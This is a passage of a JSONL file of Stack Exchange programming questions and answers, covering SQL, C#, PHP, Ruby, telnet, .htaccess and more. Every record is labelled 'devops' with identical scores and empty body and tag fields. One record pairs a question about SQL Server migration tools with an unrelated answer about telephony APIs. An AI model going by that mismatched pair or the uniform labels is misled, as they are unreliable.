"https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:38.012311"}
{"id": "hf_25a4725768fb", "question": "<p>I need to select a datetime column in a table. However, I want the select statement to return the datetime as a nvarchar with the format DD/MM/YYYY.</p>\n", "question_body": "", "answer": "This should help.  It contains all (or most anyway) the different date formats\nhttp://wiki.lessthandot.com/index.php/Formatting_Dates\nI think you'd be better off handling the string conversion in client if possible.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:38.059424"}
{"id": "hf_db9974dbd9e0", "question": "<p>In converting from short to a byte array I found the following solution on the web but could not quite understand the logic involved.</p>\n\n<pre><code>//buffer is an array of bytes, bytes[]\nbuffer[position] = (byte)(sample &amp; 0xff);\nbuffer[position+1] = (byte)((sample &gt;&gt; 8) &amp; 0xff);\n</code></pre>\n\n<p>Can someone tell me why 0xff (256) is being anded to the sample which is a short? </p>\n", "question_body": "", "answer": "This code probably comes from C code (or was written by a C programmer who don't parse Java as well as erickson does). This is because in Java a cast from a type with more information to a type with less information will discard the higher order bits and thus the & 0xff is unnecessary in both cases.\nA short has 16 bits, two bytes. So it needs to take two slots in the byte array, because if we just casted a short into a byte one byte would be lost.\nSo, the code you have does\n```\n```\n1110001100001111 sample\n0000000011111111 0xff\n0000000000001111 sample & 0xff => first byte`\n```\n```\nThen, displaces the sample to get the second byte\n```\n```\n0000000011100011 sample >> 8\n0000000011111111 0xff\n0000000011100011 (sample >> 8 ) & 0xff => second byte\n```\n```\nWhich can be a lot better written as erickson shows below (hopefully it'll be above soon).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:38.094333"}
{"id": "hf_c234be9db77e", "question": "<p>It seems pretty silly to me. What don't I get?</p>\n", "question_body": "", "answer": "Business logic should be in your BLL.  If you end up with \"2 liner functions\" in your BLL, did you accidentally put that business logic in your DAL or UI?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:38.118360"}
{"id": "hf_bd2496063209", "question": "<p>We have a Linux application that makes use of OpenSSL's Python bindings and I suspect it is causing random crashes. Occasionally, we see it crash with the message: </p>\n\n<blockquote>\n  <p>Python Fatal Error: GC Object already tracked</p>\n</blockquote>\n\n<p>which would appear to be either a programming error on the part of the library, or a symptom of memory corruption. Is there any way to know the last line of Python source code it executed, given a core file? Or if it is attached in GDB? I realize it is probably all compiled bytecode, but I'm hoping there someone out there may have dealt with this. Currently it is running with the trace module active and we're hoping it will happen again, but it could be a long while.</p>\n", "question_body": "", "answer": "If you have mac or sun box kicking around you could use\ndtrace\nand a version of python compiled with dtrace to figure out what the application was doing at the time. Note: in 10.5 python is pre-compiled with dtrace which is really nice and handy.\nIf that isn't available to you, then you can\nimport gc\nand enable debugging which you can then put out to a log file.\nTo specifically answer your question regarding debugging with GDB you might want to read \"\nDebugging With GDB\n\" on the python wiki.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:38.153780"}
{"id": "hf_bf02599698fd", "question": "<p>How can I calculate the last business day of the month in .NET?</p>\n", "question_body": "", "answer": "First, get the last day of the month.  Then keep decrementing until you're either past the beginning of the month, or have hit a date that validates as a \"business day\".", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:38.190980"}
{"id": "hf_62e595b303dd", "question": "<p>I'm building the HTML code within an XML DOM object to be used as the contents of the innerHTML of a div element using an XSL template. Traditionally we create a new XML DOM document and add the input parameters as XML Elements for the transform via javascript. This is all very time-consuming as we are basically hand picking the data from another XML document that represents our current account and copying the data into a transient XML DOM document. </p>\n\n<p>What I'd like to do is clone the relevant node of the account document (i.e. customer info) and use it as the basis for the transform. I don't want to use the account document directly as I'd like to be able to add transform specific input, without making changes to the account object.</p>\n\n<p>How efficient is using .cloneNode(true) for a desired node of about typically less than 200 elements from a document of typically 2000+ elements? The target platform is IE6 with no external tools (i.e. ActiveX).</p>\n", "question_body": "", "answer": "IE will fail on certain things.\ne.g. checked radio/checkboxes will not be checked when you add your copy to the DOM.\nExample:\nhttp://webbugtrack.blogspot.com/2008/03/bug-199-cant-clone-form-element-in-ie.html\nhttp://webbugtrack.blogspot.com/2007/08/bug-242-setattribute-doesnt-always-work.html\nTo see what IE will actually return, try replacing the url with this in the Address Bar of one of your pages, and press enter.\n```\n```\njavascript:'<xmp>'+window.document.body.outerHTML+'</xmp>';\n```\n```\nIf you are happy with the results, great!, but I think you'll end up less than satisfied at what IE returns (both in the DOM, and this \"string\" value equivelant.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:38.217538"}
{"id": "hf_01323eb18131", "question": "<p>Sometimes, my UIWebView will have a grey box over part or all of the content. I can't make heads or tails of why it's happening.  It happens regularly for certain content.</p>\n\n<p>Thanks!</p>\n\n<p>--Update--</p>\n\n<p>It seems to occur when the webview is not immediately viewable on the screen -- ie i've got a scrollview, and the webview is below the fold.</p>\n\n<p>--Update #2--</p>\n\n<p>When I bring the content above the fold, it loads fine most of the time. There are still instances when the grey box is still showing up. The weird part is if i double-tap it, it finishes loading the content just fine.  bizarre</p>\n\n<p>--Update #3--</p>\n\n<p>Okay, so it seems to be that if my uiwebview has a height greater than 1000px, a grey box appears on the rest of the content below 1000px. A double-tap reveals the actual content.</p>\n", "question_body": "", "answer": "I have been dealing with this glitch as well, and have opened a bug report at apple. \nI would have commented above, but I don't have the 50 rep yet.\nFor anyone else encountering this glitch, send them a report, I included a full project demonstrating it, with a few screenshots from another app I am working on.\nThe more bug reports they get on a topic, the more likely they are to address it, apparently.\nhttps://bugreport.apple.com/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:38.252811"}
{"id": "hf_b6ba8b052740", "question": "<p>I've been spoiled by ActiveRecords.  So I'm on the lookout for migration system that can be applied to SQL Server, and either is executed as Java application, or a Win32 Executable.  (Of course further compatibility with other DB's and host OS's is welcome.)</p>\n\n<p>The real desire is having a clear schema change application with roll back, ideally in something nicer then SQL so it can be DB system agnostic.</p>\n\n<p>The hitch I've found for alternatives that are Java based, is lack of clean support for the Microsoft JDBC.  </p>\n\n<p>Looking forward to any suggestions.</p>\n", "question_body": "", "answer": "OpenNETCF's NetworkInformation namespace is not going to help - it's a wrapper around NDIS and WZC, which is not of much use for telephony.  What is probebly relevent here is the\nTelephony API (TAPI)\n, though I have doubts whether even TAPI is going to give all of this info (it's been a while since I fought with TAPI).\nMy guess is that you'll be able to get some of the info through TAPI, but a lot of it i probably retrieved through a proprietary API that the radio vendor provides, and without info on that API (from the radio vendor or the device OEM) you're probably out of luck.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:38.302051"}
{"id": "hf_a4992f511bcf", "question": "<p>I am wondering how the HttpContext is maintained given that the request-response nature of the web is essentially stateless.</p>\n\n<p>Is an identifier being for the HttpContext object being sent as part of the __EVENTTarget / __EVENTARGUMENTS hidden fields so that the HttpRuntime class can create the HttpContext class by reading this section from the request (HttpWorkerRequest)?  I don't think</p>\n\n<p>Please let me know as I am trying to fill some holes in my understanding of the http pipeline and I was unable to find any information about this.</p>\n\n<p>I understand something like \nHttpContext.Current.Session[\"myKey\"] = Value;</p>\n\n<p>just works but if I had to do something similar in a different language (say perl), I would have to use hidden fields for the same, wouldn't I?</p>\n\n<p>Thanks\n-Venu</p>\n", "question_body": "", "answer": "I don't think there is one answer to your question, because I don't think everything under the HttpContext umbrella works the same way.  In the example you chose, session state, both the key and value are stored on the server side.  The way it knows how to hook up future requests to that session state is by using a cookie that has a (totally different) key in it. When the browser makes another request, it sends this cookie with the request and the server uses it to figure out which session to map to. Once it figures it out, you've again got access to your dictionary, across responses.\nSo, to do it in perl, you'd want to manually create a cookie and store a unique key in it, have a server-side mapping of those unique keys to session state dictionaries, and pretty much do what I described above.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:38.349277"}
{"id": "hf_cf10fec6eeaa", "question": "<p>I haven't used regular expressions at all, so I'm having difficulty troubleshooting. I want the regex to match only when the contained string is all numbers; but with the two examples below it is matching a string that contains all numbers plus an equals sign like \"1234=4321\". I'm sure there's a way to change this behavior, but as I said, I've never really done much with regular expressions.</p>\n\n<pre><code>string compare = \"1234=4321\";\nRegex regex = new Regex(@\"[\\d]\");\n\nif (regex.IsMatch(compare))\n{ \n    //true\n}\n\nregex = new Regex(\"[0-9]\");\n\nif (regex.IsMatch(compare))\n{ \n    //true\n}\n</code></pre>\n\n<p>In case it matters, I'm using C# and .NET2.0.</p>\n", "question_body": "", "answer": "Use the beginning and end anchors.\n```\n```\nRegex regex = new Regex(@\"^\\d$\");\n```\n```\nUse\n```\n\"^\\d+$\"\n```\nif you need to match more than one digit.\nNote that\n```\n\"\\d\"\n```\nwill match\n```\n[0-9]\n```\nand other digit characters like the Eastern Arabic numerals\n```\n٠١٢٣٤٥٦٧٨٩\n```\n.  Use\n```\n\"^[0-9]+$\"\n```\nto restrict matches to just the Arabic numerals 0 - 9.\nIf you need to include any numeric representations other than just digits (like decimal values for starters), then see\n@tchrist\n's\ncomprehensive guide to parsing numbers with regular expressions\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:38.384663"}
{"id": "hf_fea26fb32dba", "question": "<p>What is the purpose/meaning of the Version property on a FormsAuthenticationTicket?</p>\n", "question_body": "", "answer": "The\ndocs\nare less than enlightening on this one, though the default version number did change\nfrom 1\nto 2 with ASP.NET 2.0.\nReflector didn't turn up any interesting uses of it either, other than keeping it alive on renews. My guess is that it's for \"future use\".", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:38.468034"}
{"id": "hf_636b37f43011", "question": "<p>How can I dynamically invoke a class method in PHP? The class method is not static. It appears that </p>\n\n<pre><code>call_user_func(...)\n</code></pre>\n\n<p>only works with static functions?</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "```\n```\ncall_user_func(array($object, 'methodName'));\n```\n```\nFor more details, see the\nphp callback documentation.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:38.491079"}
{"id": "hf_d104cbeec802", "question": "<p>How do I check if the directory into which a file is going to be written does exist, and if it does not, create the directory using Python?</p>\n", "question_body": "", "answer": "Try the\n```\nos.path.exists\n```\nfunction\n```\n```\nif not os.path.exists(dir):\n    os.mkdir(dir)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:38.536635"}
{"id": "hf_34e2109d42db", "question": "<p>Is it ever acceptable to have a <a href=\"http://en.wikipedia.org/wiki/Memory_leak\" rel=\"noreferrer\">memory leak</a> in your C or C++ application?</p>\n\n<p>What if you allocate some memory and use it until the very last line of code in your application (for example, a global object's destructor)? As long as the memory consumption doesn't grow over time, is it OK to trust the OS to free your memory for you when your application terminates (on Windows, Mac, and Linux)? Would you even consider this a real memory leak if the memory was being used continuously until it was freed by the OS.</p>\n\n<p>What if a third party library forced this situation on you? Would refuse to use that third party library no matter how great it otherwise might be?</p>\n\n<p>I only see one practical disadvantage, and that is that these benign leaks will show up with memory leak detection tools as false positives.</p>\n", "question_body": "", "answer": "In theory no, in practise\nit depends\n.\nIt really depends on how much data the program is working on, how often the program is run and whether or not it is running constantly.\nIf I have a quick program that reads a small amount of data makes a calculation and exits, a small memory leak will never be noticed. Because the program is not running for very long and only uses a small amount of memory, the leak will be small and freed when the program exists.\nOn the other hand if I have a program that processes millions of records and runs for a long time, a small memory leak might bring down the machine given enough time.\nAs for third party libraries that have leaks, if they cause a problem either fix the library or find a better alternative.  If it doesn't cause a problem, does it really matter?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:38.583143"}
{"id": "hf_c0e2433a18c3", "question": "<p>I have only been working with sharepoint for three months but right from the start I was told that the SharePoint content db was off limits as MS could change the schema at any time. The recommended route is to use the object model, and in most case I kind of understands that.</p>\n\n<p>Now I need to join some lists in order to present the content grouped by some specific fields. Rather then iterating through each and every list I would prefer to link our own db which resides on the same DB server, to the WSS content DB and just create a view on the tables. This view should be on our DB in order to make such that we don't change ANYTHING on the WSS content DB.</p>\n\n<p>Am I on the route to eternal damnation or not?</p>\n", "question_body": "", "answer": "Yes, you are. Microsoft is\nvery\nclear that any modifications to the SharePoint tables renders you unsupportable.\nDirect modification of the SharePoint database or its data is not recommended because it puts the environment in an unsupported state.\nNow, creating a link on your own DB which queries the SharePoint DB is shaky ground. Personally I'd do one of two things:\nIf this is a mission-critical application, run it past MSFT support.\nIf it is anything else, just make sure that your view is not locking the DB during querying.\nA better strategy might be to iterate the lists and sync it to your own table so you can do whatever kind of data-mining you'd like - if you don't mind whatever lag time your sync routine would need.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:38.607083"}
{"id": "hf_ca6d855f6a6c", "question": "<p>In layman's terms, what's a RDF triple?</p>\n", "question_body": "", "answer": "An RDF file should parse down to a\n  list of triples.\nA triple consists of a subject, a\n  predicate, and an object. But what do\n  these actually mean?\nThe subject is, well, the subject. It\n  identifies what object the triple is\n  describing.\nThe predicate defines the piece of\n  data in the object we are giving a\n  value to.\nThe object is the actual value.\nFrom:\nhttp://www.robertprice.co.uk/robblog/archive/2004/10/What_Is_An_RDF_Triple_.shtml", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:38.642704"}
{"id": "hf_b98ceb0a8416", "question": "<p>I want to create a library with a modified version of printf and then call LD_PRELOAD so when my program calls printf it uses my version. Can someone explain to me how to use LD_PRELOAD and if there is a something special I need to do in my code or my library? </p>\n", "question_body": "", "answer": "That seems like a bad idea. Why not name your version of\n```\nprintf\n```\nsomething else?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:38.666118"}
{"id": "hf_a65ed8fad107", "question": "<p>The title sort of explains itself. I am making some 'genrative' artwork in flash. Now I want to save the frame without making a screenshot so-on and sofort. And perhaps one day i would like to save a batch of frames. </p>\n\n<p>Is there an AS3 class/library out there that could help me out ?</p>\n", "question_body": "", "answer": "Do you want to save the file to a hard-drive or to a website?\nIf to a hard-drive, you might have a hard time unless you're open to using Air. Because of the security sandbox of Flash, you can't write arbitrary files to the user's hard disk.\nIf you absolutely must save it to a user's hard-drive using Flash and not Air, you'll probably have to send the bitmap data to a server-side PHP (or similar) script which will then allow the user to download and save the image in one location or another.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:38.689530"}
{"id": "hf_17c7e01f4022", "question": "<p>How do I get:</p>\n\n<pre><code>id       Name       Value\n1          A          4\n1          B          8\n2          C          9\n</code></pre>\n\n<p>to</p>\n\n<pre><code>id          Column\n1          A:4, B:8\n2          C:9\n</code></pre>\n", "question_body": "", "answer": "This kind of question is asked here very often, and the solution is going to depend a lot on the underlying requirements:\nhttps://stackoverflow.com/search?q=sql+pivot\nand\nhttps://stackoverflow.com/search?q=sql+concatenate\nTypically, there is no SQL-only way to do this without either dynamic sql, a user-defined function, or a cursor.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:38.713126"}
{"id": "hf_af343d9fa6b1", "question": "<p>I have an application where I accept a socket connection from a telnet client and put up a simple, keyboard driven character GUI.</p>\n\n<p>The telnet client, at least on Linux, defaults into line-at-a-time mode, so I always have to do <code>^]mode char</code> manually.</p>\n\n<p>A skim of the relevant RFCs suggests that if my application simply sent the characters <code>IAC DONT LINEMODE (\\377\\376\\042)</code> as soon as the client connects, the client should be forced into character mode.  However, it doesn't make any difference.</p>\n\n<p>What's the simplest bit of code that would do the job?  Ideally just a string to be sent. My application can absorb whatever junk the client sends back.</p>\n", "question_body": "", "answer": "For what it's worth, solved it myself.\n```\n```\n// IAC WONT LINEMODE IAC WILL ECHO\n\nwrite(s,\"\\377\\375\\042\\377\\373\\001\",6);\n```\n```\ngets the remote (at least telnet from an Xterm on a Linux box) into the right state.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:38.748705"}
{"id": "hf_79bdf2704b84", "question": "<p>I want to deal with the command line input in Ruby:</p>\n\n<pre><code>&gt; cat input.txt | myprog.rb\n&gt; myprog.rb &lt; input.txt\n&gt; myprog.rb arg1 arg2 arg3 ...\n</code></pre>\n\n<p>What is the best way to do it? In particular I want to deal with blank STDIN, and I hope for an elegant solution.</p>\n\n<pre><code>#!/usr/bin/env ruby\n\nSTDIN.read.split(\"\\n\").each do |a|\n   puts a\nend\n\nARGV.each do |b|\n    puts b\nend\n</code></pre>\n", "question_body": "", "answer": "I am not quite sure what you need, but I would use something like this:\n```\n```\n#!/usr/bin/env ruby\n\nuntil ARGV.empty? do\n  puts \"From arguments: #{ARGV.shift}\"\nend\n\nwhile a = gets\n  puts \"From stdin: #{a}\"\nend\n```\n```\nNote that because ARGV array is empty before first\n```\ngets\n```\n, Ruby won't try to interpret argument as text file from which to read (behaviour inherited from Perl).\nIf stdin is empty or there is no arguments, nothing is printed.\nFew test cases:\n```\n```\n$ cat input.txt | ./myprog.rb\nFrom stdin: line 1\nFrom stdin: line 2\n\n$ ./myprog.rb arg1 arg2 arg3\nFrom arguments: arg1\nFrom arguments: arg2\nFrom arguments: arg3\nhi!\nFrom stdin: hi!\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:38.775823"}
{"id": "hf_840af4523dbb", "question": "<p>Rails has an awesome way of looking up column names and expected datatypes from the DB, alleviating a lot of programming.</p>\n\n<p>I'm trying to build something like this in C#.NET, because we have large tables that are ever changing. I'll be adding parameters like so:</p>\n\n<pre><code>SqlParameter param = new SqlParameter(\"parametername\", *SqlDbType.Int*);\nparam.Direction = ParameterDirection.Input;\nparam.Value = 0;\ncomm.Parameters.Add(param);\n</code></pre>\n\n<p>Notice the SqlDbType.  How can I get that?  If I get DataColumns from the DataSet, all I can get is System types like System.string.</p>\n", "question_body": "", "answer": "why not just let ADO.NET detect it automatically:\n```\n```\nSqlParameter param = new SqlParameter(\"parametername\", value);\n```\n```\n'course, you don't actually need Direction, either:\n```\n```\ncomm.Parameters.Add(new SqlParameter(\"parametername\",value));\n```\n```\nI'm kind of a fan of doing things in one line :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:38.811363"}
{"id": "hf_afd76401f664", "question": "<p>I just added printing capability to a web site using a style sheet (ie. @media print, etc.) and was wondering if I could use a similar method for adding support for mobile devices.</p>\n\n<p>If not, how do I detect a mobile device?  My pages are C# (.aspx) and I'd like to scale back the pages for ease of use on a mobile device.</p>\n\n<p>Any advice for me?</p>\n\n<p>EDIT: My wife has a BlackBerry, so at a miminum I'd like to enable our company's web site for that.</p>\n", "question_body": "", "answer": "I'm not sure how the IPhone/iPod Touch declare themselves when requesting the stylesheet, but for most, using\n```\n```\n<style type=\"text/css\">\n    @media handheld\n    {\n      /* handheld styles */\n    }\n</style>\n```\n```\nshould do the trick. It works in the same way @media print does (or doesn't).\nFor a complete list of media types, see\nhere.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:38.846877"}
{"id": "hf_6c07ddc999c9", "question": "<p>Few of us would deny the awesomeness of debuggers, but to make it more useful, some tricks can be used. </p>\n\n<p>For example in Python, you can use <strong><em>pass</em></strong> to do absolutely nothing except to leave you room to put a break point and allow you to observe the values in the Watch window. </p>\n\n<p>In C#, I used to do <strong><em>GC.Collect()</em></strong>, but now I use <strong><em>if (false){}</em></strong></p>\n\n<p>What's your most playful dummy line?</p>\n", "question_body": "", "answer": "In C#, you can use this:\n```\n```\nSystem.Diagnostics.Debugger.Break();\n```\n```\nIt will force a breakpoint.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:38.882554"}
{"id": "hf_5da3218c6818", "question": "<p>What are differences between CallContext and ThreadStatic?</p>\n\n<p>I've understood that in an ASP.NET environment data stored in CallContext could be persisted throughout the request until it ends while ThreadStatic may or may not work since the request may switch threads. I've also learned that the HttpContext is internally stored using the CallContext.</p>\n\n<p>In a regular application they both seem to persist throughout the same thread call. When isn't this the case? </p>\n\n<hr>\n\n<p><strong>Edit:</strong> In the comments I learned that the call context is an abstraction over a thread static store. The ASP.NET framework explicitly moves the data from one thread to the next that is to handle one request. Other framework that wants to provide thread agility could do the same to for contextual storage.</p>\n", "question_body": "", "answer": "Very often a request will use the same thread throughout, but it certainly won't always be the case - ASP.NET exhibits\nthread agility\n. There's an old\nin-depth blog article about the matter\nfrom 2005, but as of .NET 4.5\nthings are rather better\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:38.905879"}
{"id": "hf_456243e32ca5", "question": "<p>We have an internal application that is using a service account and fine-grained table and field control is controlled by permissions tables in the application.</p>\n\n<p>If we wanted to use pass-through security with Active Directory,  we have a problem in that a user with odbc access could modify tables outside of business rules that exist in the application.</p>\n\n<p>Is there a way to enable pass-through security,  but disable odbc access.</p>\n", "question_body": "", "answer": "You could use stored procedures and only give the rights to the stored procedures, ensuring either that the basic business rules cannot be violated (if they are simple and unchanging, they can go in the SPs) or at the very least (if they are complex or changing, they don't work well in SPs), all modifications have to go through stored procs.  If they make an ODBC connection to the database, they could execute the stored procs to make changes, but if you give select-only rights to the tables or views, then they cannot do it through an Access linked-table for instance.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:38.929540"}
{"id": "hf_7e57c6f924ad", "question": "<p>I am a big time user of using double quotes in PHP so that I can interpolate variables rather than concatenating strings. As a result, when I am generating HTML I often use single quotes for setting tag fields. For example:</p>\n\n<pre><code>$html = \"&lt;input type='text' name='address' value='$address'&gt;\";\n</code></pre>\n\n<p>Now this is far more readable to me than either</p>\n\n<pre><code>$html = \"&lt;input type=\\\"text\\\" name=\\\"address\\\" value=\\\"$address\\\"&gt;\";\n</code></pre>\n\n<p>or</p>\n\n<pre><code>$html = '&lt;input type=\"text\" name=\"address\" values=\"' . $address . '\"&gt;' ;\n</code></pre>\n\n<p>From brief searches I have heard people saying that single quotes for HTML fields is not recognized by EVERY browser. Thus I am wondering what browsers would have problems recognizing single quote HTML?</p>\n", "question_body": "", "answer": "This is similar to\nWhen did single quotes in HTML become so popular?\n. Single quotes around attributes in HTML are and always have been permitted by\nthe specification\n. I don't think any browsers wouldn't understand them.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:39.023894"}
{"id": "hf_f16b8791dc8b", "question": "<p>How can I find out the number of dimensions in an array in Classic ASP ( VBScript ) .</p>\n\n<p>I am being passed an Array with multiple dimensions but I only want to look at the last. Seems easy in other languages.</p>\n", "question_body": "", "answer": "```\n```\nUbound(MySingleDimensionalArray, 2) ' Number of Array Elements\n\nUbound(MyMultiDimensionalArray, 1)  ' Number of Columns\nUbound(MyMultiDimensionalArray, 2)  ' Number of Rows\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:39.104962"}
{"id": "hf_322c3c0f4243", "question": "<p>I have a server with .Net 2.0 sp1 installed and have no ability to  install the AJAX extensions on the server.  </p>\n\n<p>Is there anyway I could work around this to incorporate ASP.NET AJAX functionality?</p>\n", "question_body": "", "answer": "If you can't install AJAX extensions, you will have to manage the AJAX calls yourself.  It's absolutely possible, since AJAX Extensions just wrap the meat of AJAX.  Read up on XMLHttpRequest and you'll find many examples.\nHere's a good site with examples.\nhttp://www.fiftyfoureleven.com/resources/programming/xmlhttprequest/examples", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:39.128393"}
{"id": "hf_a023cb5f0071", "question": "<p>I've been Googling around for .htaccess redirection information, but nothing I find is quite what I'm looking for.</p>\n\n<p>Basically, I want a solution that will take a site example.com and allow you to enter URL's like:</p>\n\n<pre><code> 123.example.com\n ksdfkjds.example.com\n dsf38jif348.example.com\n</code></pre>\n\n<p>and this would redirect them to:</p>\n\n<pre><code> example.com/123\n example.com/ksdfkjds\n example.com/dsf38jif348\n</code></pre>\n\n<p>So basically accept any subdomain and automatically redirect to a folder on the root of the domain with the name of that subdomain.</p>\n", "question_body": "", "answer": "Try something like this:\n```\n```\n# If we're not on http://example.com\nRewriteCond %{HTTP_HOST} .+\\.example.com\n\n# Add the host to the front of the URL and chain with the next rule\nRewriteRule ^(.*)$ ${HOST}$1 [C,QSA]\n\n# Make the host a directory\nRewriteRule ^(.*)\\.example\\.com(.*)$ http://example.com/$1$2 [QSA]\n```\n```\nYou don't say what should happen to\nhttp://foo.example.com/bar?moo\n- I've made it go to\nhttp://example.com/foo/bar?moo\nChange the last line if that's not what you want.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:39.164319"}
